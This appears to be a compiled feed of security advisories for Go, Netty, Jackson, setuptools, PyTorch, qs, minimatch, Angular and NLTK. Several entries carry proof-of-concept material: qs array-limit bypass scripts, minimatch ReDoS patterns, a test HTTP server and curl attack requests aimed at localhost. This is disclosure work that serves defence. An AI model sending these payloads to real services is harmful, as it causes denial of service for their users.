Memory exhaustion in query parameter parsing in net/url
url.Parse insufficiently validated the host/authority component and accepted some invalid URLs.
If one side of the TLS connection sends multiple key update messages post-handshake in a single record, the connection can deadlock, causing uncontrolled consumption of resources. This can lead to a denial of service. This only affects TLS 1.3.
During chain building, the amount of work that is done is not correctly limited when a large number of intermediate certificates are passed in VerifyOptions.Intermediates, which can lead to a denial of service. This affects both direct users of crypto/x509 and users of crypto/tls.
IBM Concert 1.0.0 through 3.0.0 invokes operating system commands without fully qualifying executable paths or adequately restricting search path resolution. As a result, an attacker with local system access can manipulate the search path environment to execute untrusted or malicious code.
IBM Concert 1.0.0 through 3.0.0 has a double free vulnerability that exists due to incorrect memory management. A local attacker can exploit this flaw to corrupt heap memory and execute arbitrary code in the context of the affected process.
Inefficient policy validation in crypto/x509
Summary A remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of CONTINUATION frames. The server's lack of a limit on the number of CONTINUATION frames, combined with a bypass of existing size-based mitigations using zero-byte frames, allows an user to cause excessive CPU consumption with minimal bandwidth, rendering the server unresponsive.
Details The vulnerability exists in Netty's DefaultHttp2FrameReader. When an HTTP/2 HEADERS frame is received without the ENDHEADERS flag, the server expects one or more subsequent CONTINUATION frames. However, the implementation does not enforce a limit on the count of these CONTINUATION frames.
The key issue is located in codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java. The verifyContinuationFrame() method checks for stream association but fails to implement a frame count limit.
Any user can exploit this by sending a stream of CONTINUATION frames with a zero-byte payload. While Netty has a maxHeaderListSize protection to limit the total size of headers, this check is never triggered by zero-byte frames. The logic effectively evaluates to maxHeaderListSize - 0 < currentSize, which will not trigger the limit until a non-zero byte is added. As a result, the server is forced to process an unlimited number of frames, consuming a CPU thread and monopolizing the connection.
codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java
verifyContinuationFrame() (lines 381-393) — No frame count check: java private void verifyContinuationFrame() throws Http2Exception { verifyAssociatedWithAStream(); if (headersContinuation == null) { throw connectionError(PROTOCOLERROR, "..."); } if (streamId != headersContinuation.getStreamId()) { throw connectionError(PROTOCOLERROR, "..."); } // NO frame count limit! }
HeadersBlockBuilder.addFragment() (lines 695-723) — Byte limit bypassed by 0-byte frames: java // Line 710-711: This check NEVER fires when len=0 if (headersDecoder.configuration().maxHeaderListSizeGoAway() - len < headerBlock.readableBytes()) { headerSizeExceeded(); // 10240 - 0 < 1 => FALSE always }
When len=0: maxGoAway - 0 < readableBytes → 10240 < 1 → FALSE. The byte limit is never triggered.
Impact This is a CPU-based Denial of Service (DoS). Any service using Netty's default HTTP/2 server implementation is impacted. An unauthenticated user can exhaust server CPU resources and block legitimate users, leading to service unavailability. The low bandwidth requirement for the attack makes it highly practical.
Summary BasicPolymorphicTypeValidator.Builder.allowIfSubTypeIsArray() allowlists any array type based only on clazz.isArray(), without validating the array's component (element) type against the configured allowlist. A PTV built with allowIfSubTypeIsArray() plus an explicit concrete-type allowlist therefore still permits EvilType[] even though EvilType is not allowlisted. When Jackson deserializes the elements and no per-element type IDs are present, it instantiates the component type directly with no further PTV check, bypassing the allowlist.
Impact Applications using BasicPolymorphicTypeValidator with allowIfSubTypeIsArray() as a safeguard get no protection for concrete array component types; an attacker controlling JSON can instantiate non-allowlisted types via an array wrapper, re-opening the gadget-instantiation risk PTV is meant to prevent.
Affected / Patched (verified via git tag --contains) - 2.18 line: >= 2.10.0, < 2.18.8 -> fixed in 2.18.8 - 2.19-2.21 line: >= 2.19.0, < 2.21.4 -> fixed in 2.21.4 - 3.x line: >= 3.0.0, < 3.1.4 -> fixed in 3.1.4
PolymorphicTypeValidator was added in 2.10.0 so vulnerability N/A for versions prior to that.
Severity / CWE Maintainer: significant. Reporter: HIGH. CWE-184 (Incomplete List of Disallowed Inputs); related CWE-502.
Upstream fix FasterXML/jackson-databind#5981; fix PR #5983 (24529da), 2.18 backport PR #5984 (01d1692). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4.
Credits Omkhar Arasaratnam (@omkhar) - finder.
Memory Exhaustion in braces
A vulnerability in the packageindex module of pypa/setuptools versions up to 69.1.1 allows for remote code execution via its download functions. These functions, which are used to download packages from URLs provided by users or retrieved from package index servers, are susceptible to code injection. If these functions are exposed to user-controlled inputs, such as package URLs, they can execute arbitrary commands on the system. The issue is fixed in version 70.0.
Versions of the package cross-spawn before 6.0.6, from 7.0.0 and before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.
Summary A path traversal vulnerability in PackageIndex was fixed in setuptools version 78.1.1
Details def downloadurl(self, url, tmpdir): # Determine download filename # name, fragment = egginfoforurl(url) if name: while '..' in name: name = name.replace('..', '.').replace('\\', '') else: name = "downloaded" # default if URL has no path contents
if name.endswith('.egg.zip'): name = name[:-4] # strip the extra .zip before download
--> filename = os.path.join(tmpdir, name)
Here: https://github.com/pypa/setuptools/blob/6ead555c5fb29bc57fe6105b1bffc163f56fd558/setuptools/packageindex.py#L810C1-L825C88
os.path.join() discards the first argument tmpdir if the second begins with a slash or drive letter. name is derived from a URL without sufficient sanitization. While there is some attempt to sanitize by replacing instances of '..' with '.', it is insufficient.
Risk Assessment As easyinstall and packageindex are deprecated, the exploitation surface is reduced. However, it seems this could be exploited in a similar fashion like https://github.com/advisories/GHSA-r9hx-vwmv-q579, and as described by POC 4 in https://github.com/advisories/GHSA-cx63-2mw6-8hw5 report: via malicious URLs present on the pages of a package index.
Impact An attacker would be allowed to write files to arbitrary locations on the filesystem with the permissions of the process running the Python code, which could escalate to RCE depending on the context.
References https://huntr.com/bounties/d6362117-ad57-4e83-951f-b8141c6e7ca5 https://github.com/pypa/setuptools/issues/4946
An issue in the component torch.linalg.lu of pytorch v2.8.0 allows attackers to cause a Denial of Service (DoS) when performing a slice operation.
A Name Error occurs in pytorch v2.7.0 when a PyTorch model consists of torch.cummin and is compiled by Inductor, leading to a Denial of Service (DoS).
A syntax error in the component proxytensor.py of pytorch v2.7.0 allows attackers to cause a Denial of Service (DoS).
pytorch v2.8.0 was discovered to display unexpected behavior when the components torch.rot90 and torch.randnlike are used together.
A buffer overflow occurs in pytorch v2.7.0 when a PyTorch model consists of torch.nn.Conv2d, torch.nn.functional.hardshrink, and torch.Tensor.view-torch.mv() and is compiled by Inductor, leading to a Denial of Service (DoS).
An issue in pytorch v2.7.0 can lead to a Denial of Service (DoS) when a PyTorch model consists of torch.Tensor.tosparse() and torch.Tensor.todense() and is compiled by Inductor.
Excessive resource consumption when printing error string for host certificate validation in crypto/x509
Impact
Excessive memory allocation
Function api.ParseJSONRequest currently splits (via a call to strings.Split) an optionally-provided OID (which is untrusted data) on periods. Similarly, function api.getContentType splits the Content-Type header (which is also untrusted data) on an application string.
As a result, in the face of a malicious request with either an excessively long OID in the payload containing many period characters or a malformed Content-Type header, a call to api.ParseJSONRequest or api.getContentType incurs allocations of O(n) bytes (where n stands for the length of the function's argument). Relevant weakness: CWE-405: Asymmetric Resource Consumption (Amplification)
Patches
Upgrade to v2.0.3.
Workarounds
There are no workarounds with the service itself. If the service is behind a load balancer, configure the load balancer to reject excessively large requests.
Hugging Face Transformers Perceiver Model Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Hugging Face Transformers. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.
The specific flaw exists within the parsing of model files. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-25423.
Summary
The arrayLimit option in qs does not enforce limits for bracket notation (a[]=1&a[]=2), allowing attackers to cause denial-of-service via memory exhaustion. Applications using arrayLimit for DoS protection are vulnerable.
Details
The arrayLimit option only checks limits for indexed notation (a[0]=1&a[1]=2) but completely bypasses it for bracket notation (a[]=1&a[]=2).
Vulnerable code (lib/parse.js:159-162): javascript if (root === '[]' && options.parseArrays) { obj = utils.combine([], leaf); // No arrayLimit check }
Working code (lib/parse.js:175): javascript else if (index <= options.arrayLimit) { // Limit checked here obj = []; obj[index] = leaf; }
The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays.
PoC
Test 1 - Basic bypass: bash npm install qs
javascript const qs = require('qs'); const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 }); console.log(result.a.length); // Output: 6 (should be max 5)
Test 2 - DoS demonstration: javascript const qs = require('qs'); const attack = 'a[]=' + Array(10000).fill('x').join('&a[]='); const result = qs.parse(attack, { arrayLimit: 100 }); console.log(result.a.length); // Output: 10000 (should be max 100)
Configuration: - arrayLimit: 5 (test 1) or arrayLimit: 100 (test 2) - Use bracket notation: a[]=value (not indexed a[0]=value)
Impact
Denial of Service via memory exhaustion. Affects applications using qs.parse() with user-controlled input and arrayLimit for protection.
Attack scenario: 1. Attacker sends HTTP request: GET /api/search?filters[]=x&filters[]=x&...&filters[]=x (100,000+ times) 2. Application parses with qs.parse(query, { arrayLimit: 100 }) 3. qs ignores limit, parses all 100,000 elements into array 4. Server memory exhausted → application crashes or becomes unresponsive 5. Service unavailable for all users
Real-world impact: - Single malicious request can crash server - No authentication required - Easy to automate and scale - Affects any endpoint parsing query strings with bracket notation
Suggested Fix
Add arrayLimit validation to the bracket notation handler. The code already calculates currentArrayLength at line 147-151, but it's not used in the bracket notation handler at line 159.
Current code (lib/parse.js:159-162): javascript if (root === '[]' && options.parseArrays) { obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null)) ? [] : utils.combine([], leaf); // No arrayLimit check }
Fixed code: javascript if (root === '[]' && options.parseArrays) { // Use currentArrayLength already calculated at line 147-151 if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) { throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.'); } // If limit exceeded and not throwing, convert to object (consistent with indexed notation behavior) if (currentArrayLength >= options.arrayLimit) { obj = options.plainObjects ? { proto: null } : {}; obj[currentArrayLength] = leaf; } else { obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null)) ? [] : utils.combine([], leaf); } }
This makes bracket notation behaviour consistent with indexed notation, enforcing arrayLimit and converting to object when limit is exceeded (per README documentation).
Summary
A vulnerability in PyTorch's weightsonly unpickler allows an attacker to craft a malicious checkpoint file (.pth) that, when loaded with torch.load(..., weightsonly=True), can corrupt memory and potentially lead to arbitrary code execution.
Vulnerability Details
The weightsonly=True unpickler failed to properly validate pickle opcodes and storage metadata, allowing:
1. Heap memory corruption via SETITEM/SETITEMS opcodes applied to non-dictionary types 2. Storage size mismatch between declared element count and actual data in the archive
Impact
An attacker who can convince a user to load a malicious checkpoint file may achieve arbitrary code execution in the context of the victim's process.
Credit Ji'an Zhou
A critical vulnerability exists in the NLTK downloader component of nltk/nltk, affecting all versions. The unzipiter function in nltk/downloader.py uses zipfile.extractall() without performing path validation or security checks. This allows attackers to craft malicious zip packages that, when downloaded and extracted by NLTK, can execute arbitrary code. The vulnerability arises because NLTK assumes all downloaded packages are trusted and extracts them without validation. If a malicious package contains Python files, such as init.py, these files are executed automatically upon import, leading to remote code execution. This issue can result in full system compromise, including file system access, network access, and potential persistence mechanisms.
Summary minimatch is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive wildcards followed by a literal character that doesn't appear in the test string. Each compiles to a separate [^/]? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.
The time complexity is O(4^N) where N is the number of characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever.
Details Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
PoC When minimatch compiles a glob pattern, each becomes [^/]? in the generated regex. For a pattern like X:
/^(?!\.)[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?[^/]?X[^/]?[^/]?[^/]?$/
When the test string doesn't contain X, the regex engine must try every possible way to distribute the characters across all the [^/]? groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) — exponential. Impact Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This includes: - File search/filter UIs that accept glob patterns - .gitignore-style filtering with user-defined rules - Build tools that accept glob configuration - Any API that exposes glob matching to untrusted input
Summary
matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.
---
Details
The vulnerable loop is in matchOne() at src/index.ts#L960:
typescript while (fr < fl) { .. if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) { .. return true } .. fr++ }
When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).
There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.
Measured timing with n=30 path segments:
| k (globstars) | Pattern size | Time | |---------------|--------------|----------| | 7 | 36 bytes | ~154ms | | 9 | 46 bytes | ~1.2s | | 11 | 56 bytes | ~5.4s | | 12 | 61 bytes | ~9.7s | | 13 | 66 bytes | ~15.9s |
---
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- inline script
javascript import { minimatch } from 'minimatch'
// k=9 globstars, n=30 path segments // pattern: 46 bytes, default options const pattern = '/a//a//a//a//a//a//a//a//a/b' const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'
const start = Date.now() minimatch(path, pattern) console.log(Date.now() - start + 'ms') // ~1200ms
To scale the effect, increase k:
javascript // k=11 -> ~5.4s, k=13 -> ~15.9s const k = 11 const pattern = Array.from({ length: k }, () => '/a').join('/') + '/b' const path = Array(30).fill('a').join('/') minimatch(path, pattern)
No special options are required. This reproduces with the default minimatch() call.
Step 2 -- HTTP server (event loop starvation proof)
The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:
javascript // poc1-server.mjs import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch'
const PORT = 3000
const server = http.createServer((req, res) => { const url = new URL(req.url, http://localhost:${PORT}) if (url.pathname !== '/match') { res.writeHead(404); res.end(); return }
const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? ''
const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6
res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') })
server.listen(PORT)
Terminal 1 -- start the server: node poc1-server.mjs
Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell: curl "http://localhost:3000/match?pattern=%2Fa%2F%2Fa%2F%2Fa%2F%2Fa%2F%2Fa%2F%2Fa%2F%2Fa%2F%2Fa%2F%2Fa%2F%2Fa%2F%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &
Terminal 3 -- while the attack is in-flight, send a benign request: curl -w "\ntimetotal: %{timetotal}s\n" "http://localhost:3000/match?pattern=%2Fy%2Fz&path=x%2Fy%2Fz"
Observed output (Terminal 3): {"result":true,"ms":"0"}
timetotal: 4.132709s
The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second timetotal is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:
{"result":true,"ms":"0"}
timetotal: 0.001599s
---
Impact
Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.
Summary
Nested () extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b))), which exhibit catastrophic backtracking in V8. With a 12-byte pattern (((a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally.
---
Details
The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the extglob type, the close token emitted is ) or )?, wrapping the recursive body in (?:...). When extglobs are nested, each level adds another quantifier around the previous group:
typescript : this.type === '' && bodyDotAllowed ? )? : )${this.type}
This produces the following regexps:
| Pattern | Generated regex | |----------------------|------------------------------------------| | (a\|b) | /^(?:a\|b)$/ | | ((a\|b)) | /^(?:(?:a\|b))$/ | | (((a\|b))) | /^(?:(?:(?:a\|b)))$/ | | ((((a\|b)))) | /^(?:(?:(?:(?:a\|b))))$/ |
These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false.
The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration.
Measured times via minimatch():
| Pattern | Input | Time | |----------------------|--------------------|------------| | ((a\|b)) | a x30 + z | ~68,000ms | | (((a\|b))) | a x20 + z | ~124,000ms | | ((((a\|b)))) | a x25 + z | ~116,000ms | | (a\|a) | a x25 + z | ~2,000ms |
Depth inflection at fixed input a x16 + z:
| Depth | Pattern | Time | |-------|----------------------|--------------| | 1 | (a\|b) | 0ms | | 2 | ((a\|b)) | 4ms | | 3 | (((a\|b))) | 270ms | | 4 | ((((a\|b)))) | 115,000ms |
Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.
---
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- verify the generated regexps and timing (standalone script)
Save as poc4-validate.mjs and run with node poc4-validate.mjs:
javascript import { minimatch, Minimatch } from 'minimatch'
function timed(fn) { const s = process.hrtime.bigint() let result, error try { result = fn() } catch(e) { error = e } const ms = Number(process.hrtime.bigint() - s) / 1e6 return { ms, result, error } }
// Verify generated regexps for (let depth = 1; depth <= 4; depth++) { let pat = 'a|b' for (let i = 0; i < depth; i++) pat = (${pat}) const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString() console.log(depth=${depth} "${pat}" -> ${re}) } // depth=1 "(a|b)" -> /^(?:a|b)$/ // depth=2 "((a|b))" -> /^(?:(?:a|b))$/ // depth=3 "(((a|b)))" -> /^(?:(?:(?:a|b)))$/ // depth=4 "((((a|b))))" -> /^(?:(?:(?:(?:a|b))))$/
// Safe-length timing (exponential growth confirmation without multi-minute hang) const cases = [ ['(((a|b)))', 15], // ~270ms ['(((a|b)))', 17], // ~800ms ['(((a|b)))', 19], // ~2400ms ['((a|b))', 23], // ~260ms ['(a|b)', 101], // <5ms (depth=1 control) ] for (const [pat, n] of cases) { const t = timed(() => minimatch('a'.repeat(n) + 'z', pat)) console.log("${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}) }
// Confirm noext disables the vulnerability const tnoext = timed(() => minimatch('a'.repeat(18) + 'z', '(((a|b)))', { noext: true })) console.log(noext=true: ${tnoext.ms.toFixed(0)}ms (should be ~0ms))
// +() is equally affected const tplus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))')) console.log("+(+(+(a|b)))" n=18: ${tplus.ms.toFixed(0)}ms result=${tplus.result})
Observed output: depth=1 "(a|b)" -> /^(?:a|b)$/ depth=2 "((a|b))" -> /^(?:(?:a|b))$/ depth=3 "(((a|b)))" -> /^(?:(?:(?:a|b)))$/ depth=4 "((((a|b))))" -> /^(?:(?:(?:(?:a|b))))$/ "(((a|b)))" n=15: 269ms result=false "(((a|b)))" n=17: 268ms result=false "(((a|b)))" n=19: 2408ms result=false "((a|b))" n=23: 257ms result=false "(a|b)" n=101: 0ms result=false noext=true: 0ms (should be ~0ms) "+(+(+(a|b)))" n=18: 6300ms result=false
Step 2 -- HTTP server (event loop starvation proof)
Save as poc4-server.mjs:
javascript import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch'
const PORT = 3001 http.createServer((req, res) => { const url = new URL(req.url, http://localhost:${PORT}) const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? ''
const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6
console.log([${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}") res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }).listen(PORT, () => console.log(listening on ${PORT}))
Terminal 1 -- start the server: node poc4-server.mjs
Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately: curl "http://localhost:3001/match?pattern=%28%28%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &
Terminal 3 -- send a benign request while the attack is in-flight: curl -w "\ntimetotal: %{timetotal}s\n" "http://localhost:3001/match?pattern=%28a%7Cb%29&path=aaaz"
Observed output -- Terminal 2 (attack): {"result":false,"ms":"64149"}
Observed output -- Terminal 3 (benign, concurrent): {"result":false,"ms":"0"}
timetotal: 63.022047s
Terminal 1 (server log): [2026-02-20T09:41:17.624Z] pattern="(((a|b)))" path="aaaaaaaaaaaaaaaaaaaz" [2026-02-20T09:42:21.775Z] done in 64149ms result=false [2026-02-20T09:42:21.779Z] pattern="(a|b)" path="aaaz" [2026-02-20T09:42:21.779Z] done in 0ms result=false
The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second timetotal is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.
Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.
---
Impact
Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.
Depth 3 ((((a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (((a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.
+() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).
Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.
A Cross-site Scripting (XSS) vulnerability has been identified in the Angular internationalization (i18n) pipeline. In ICU messages (International Components for Unicode), HTML from translated content was not properly sanitized and could execute arbitrary JavaScript.
Angular i18n typically involves three steps, extracting all messages from an application in the source language, sending the messages to be translated, and then merging their translations back into the final source code. Translations are frequently handled by contracts with specific partner companies, and involve sending the source messages to a separate contractor before receiving final translations for display to the end user.
If the returned translations have malicious content, it could be rendered into the application and execute arbitrary JavaScript.
Impact When successfully exploited, this vulnerability allows for execution of attacker controlled JavaScript in the application origin. Depending on the nature of the application being exploited this could lead to:
- Credential Exfiltration: Stealing sensitive user data stored in page memory, LocalStorage, IndexedDB, or cookies available to JS and sending them to an attacker controlled server. - Page Vandalism: Mutating the page to read or act differently than intended by the developer.
Attach Preconditions
- The attacker must compromise the translation file (xliff, xtb, etc.). - Unlike most XSS vulnerabilities, this one is not exploitable by arbitrary users. An attacker must first compromise an application's translation file before they can escalate privileges into the Angular application client. - The victim application must use Angular i18n. - The victim application must use one or more ICU messages. - The victim application must render an ICU message. - The victim application must not defend against XSS via a safe Content-Security Policy (CSP) or Trusted Types.
Patches - 21.2.0 - 21.1.6 - 20.3.17 - 19.2.19
Workarounds Until the patch is applied, developers should consider:
- Reviewing and verifying translated content received from untrusted third parties before incorporating it in an Angular application. - Enabling strict CSP controls to block unauthorized JavaScript from executing on the page. - Enabling Trusted Types to enforce proper HTML sanitization.
References
- Fix
A vulnerability in NLTK versions up to and including 3.9.2 allows arbitrary file read via path traversal in multiple CorpusReader classes, including WordListCorpusReader, TaggedCorpusReader, and BracketParseCorpusReader. These classes fail to properly sanitize or validate file paths, enabling attackers to traverse directories and access sensitive files on the server. This issue is particularly critical in scenarios where user-controlled file inputs are processed, such as in machine learning APIs, chatbots, or NLP pipelines. Exploitation of this vulnerability can lead to unauthorized access to sensitive files, including system files, SSH private keys, and API tokens, and may potentially escalate to remote code execution when combined with other vulnerabilities.